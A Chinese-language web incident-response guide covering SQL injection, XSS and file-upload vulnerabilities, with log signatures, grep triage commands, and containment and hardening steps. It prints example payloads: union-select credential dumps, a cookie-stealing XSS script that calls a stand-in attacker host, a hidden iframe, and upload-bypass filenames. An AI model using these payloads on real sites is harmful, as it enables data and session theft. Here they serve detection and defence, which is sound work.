一、通用前置说明
1.漏洞应急整体思路
- 定位:从日志/流量找到漏洞利用请求、攻击IP
- 止损:临时封禁IP、请用WAF、临时下线风险页面
- 排查:检查是否被植入后门、篡改页面、拖库数据
- 清理:删除木马、恢复篡改页面
- 加固:修复代码漏洞、更新配置、权限收紧
2.三类漏洞风险等级
- SQL注入:高危,可拖库、查管理员账号、篡改数据、执行数据库命令
- 文件上传:超高危,直接上传WebShell,拿下服务器权限
- XSS跨站:中高危,窃取Cookie、钓鱼、劫持用户、页面挂恶意代码
二、SQL注入
1.基础原理
网站前端将用户传入的参数直接拼接进SQL语句执行,攻击者构造特殊字符/语句,篡改原有查询逻辑,非法操作数据库。
常见触发点:URL参数、搜索框、登录框、留言板等输入位置。
2.典型注入特征(日志/请求识别)
(1)特征符号&关键字
'、"、--、#、/* */
SQL关键字:union、select、and、or、sleep、benchmark、into outfile
(2)典型恶意请求示例
#闭合原有SQL,构造永真条件
?id=1' or 1=1 --
#联合查询拖库
?id=1' union select 1,username,password from admin --
#延时注入(盲注,无回显)
?id=1' and sleep(5) --
(3)日志表现
- Nginx/Apache日志:URL参数包含上述关键字/符号
- 状态码:多为200(正常执行)、部分触发代码报错出现500
- 同一IP短时间大量相似请求------>自动化注入工具扫描
3.应急现场排查步骤
1.筛选攻击日志
#Nginx筛选注入特征
grep -iE "'|union|select|and|or|sleep" /var/log/nginx/access.log
#统计攻击IP,定位源头
awk '{print $1}' access.log | sort |uniq -c | sort -nr
2.判断危害程度
- 普通查询:仅读取页面数据,风险较低
- 出现password、admin、user表名:疑似拖库(盗取账号密码)
- 出现into outfile :尝试写入文件,大概率要传后门
3.检查网站页面&数据
查看前台页面是否被篡改、后台管理员账号是否被新增
4.临时应急处置
- 防火墙/WAF拉黑攻击IP段
- 临时关闭对应动态页面/接口
- 数据库临时收紧账号权限,禁止file、exec等高权限操作
- 开启WAF SQL注入防护规则
5.长期加固方案
- 代码层:使用预编译语句,禁止直接拼接SQL
- 输入过滤:过滤单引号、关键词、特殊字符
- 数据库账号最小权限,网站库帐号不赋予文件读写权限
三、XSS跨站脚本攻击
1.基础原理
网站对用户输入未过滤HTML/JS代码,攻击者注入恶意脚本,当其他用户访问页面时,脚本自动执行。
分类:
存储型XSS:恶意代码存入服务器数据库/页面,所有访问者都会触发(危害最大,留言板、评论区告发)
反射型XSS:代码仅在URL中,点开恶意链接才触发(钓鱼常用)
DOM型XSS:
前端JS解析逻辑漏洞,后台日志可能无明显特征
2.典型特征(日志&流量识别)
(1)特征关键词/标签
<script>、alert()、javascript:、<frame>、document.cookie、onerror、onclick
(2)典型恶意请求示例
#弹窗测试
?name=<script?alert('xss')</script>
#窃取Cookie
?user=<script>document.location='http://恶意IP/steal.php?c='+document.cookie</script>
#内嵌恶意页面
<iframe src="恶意地址" width=0 height=0></iframe>
(3)日志表现
- 请求参数内包含HTML标签、JS函数
- 存储型XSS会反复出现同一段恶意代码(多人访问触发)
- 状态码大多为200
3.应急现场排查步骤
- 日志筛选特征字符
grep -iE "script|alert|iframe|cookie" access.log
- 定位注入位置:评论、搜索、个人资料、留言板等功能点
- 检查页面:查看页面源码是否存在残留恶意JS/iframe代码
- 核查影响:是否有用户Cookie被盗、账号异常登录
4.临时应急处置
- WAF开启XSS防护规则
- 临时关闭存在漏洞的评论/留言功能
- 清理数据库、页面中植入的恶意代码
- 提醒用户及时修改密码、退出登录
5.长期加固
- 对输出内容做HTML转义(<>、&、"等符号编码)
- 输入端过滤脚本标签、时间属性
- 配置CSP内容安全策略,限制外部脚本加载
四、文件上传漏洞
1.基础原理
网站上传功能(头像、附件、图片)未严格校验文件后缀、文件类型,攻击者可上传PHP/JSP/ASP等脚本文件(WebShell),直接控制服务器。
是入侵网站、植入后门最常用的漏洞。
2.常见绕过手段
- 后缀绕过:shell.php------>shell.php%00、shell.php.、shell.jpg.php
- 类型绕过:修改HTTP请求头的Content-Type伪装成图片
- 双后缀:shell.jpg.php
3.典型特征(日志&流量识别)
(1)行为特征
- 请求方式:基本都是POST请求(文件上传必须POST)
- 目标路径:/upload/、/file/、/attach/、/avatar/等上传目录
- 文件名:出现shell、hack、一句话木马相关命名,后缀为.php / .jsp / .asp
(2)日志关键词
.php、.jsp、.asp、upload、.file、POST
(3)典型恶意请求
向上传接口提交一句话木马.php,请求体包含脚本代码
4.应急现场排查步骤
-
日志筛选上传行为
#筛选POST上传+脚本后缀
grep -i "POST" access.log | grep -iE ".php|.jsp|.asp" -
定位上传目录:进入网站upload等目录,查找陌生脚本文件
-
查杀WebShell(配合D盾、河马工具)
-
检查:是否已通过上传木马进一步提权、横向渗透
5.临时应急处置
- 临时禁用上传功能,或给上传目录设置禁止执行脚本权限
Linux Nginx:配置上传目录不解析PHP
Windows IIS:设置目录执行权限为"无"
- WAF拦截脚本后缀文件上传
- 删除已上传恶意脚本文件
- 封禁攻击IP
6.长期加固
- 严格校验文件后缀+MIME类型,只允许图片、压缩包等合法格式
- 上传目录独立部署,禁止脚本执行权限
- 上传文件重命名,杜绝脚本被直接访问执行
- 限制上传文件大小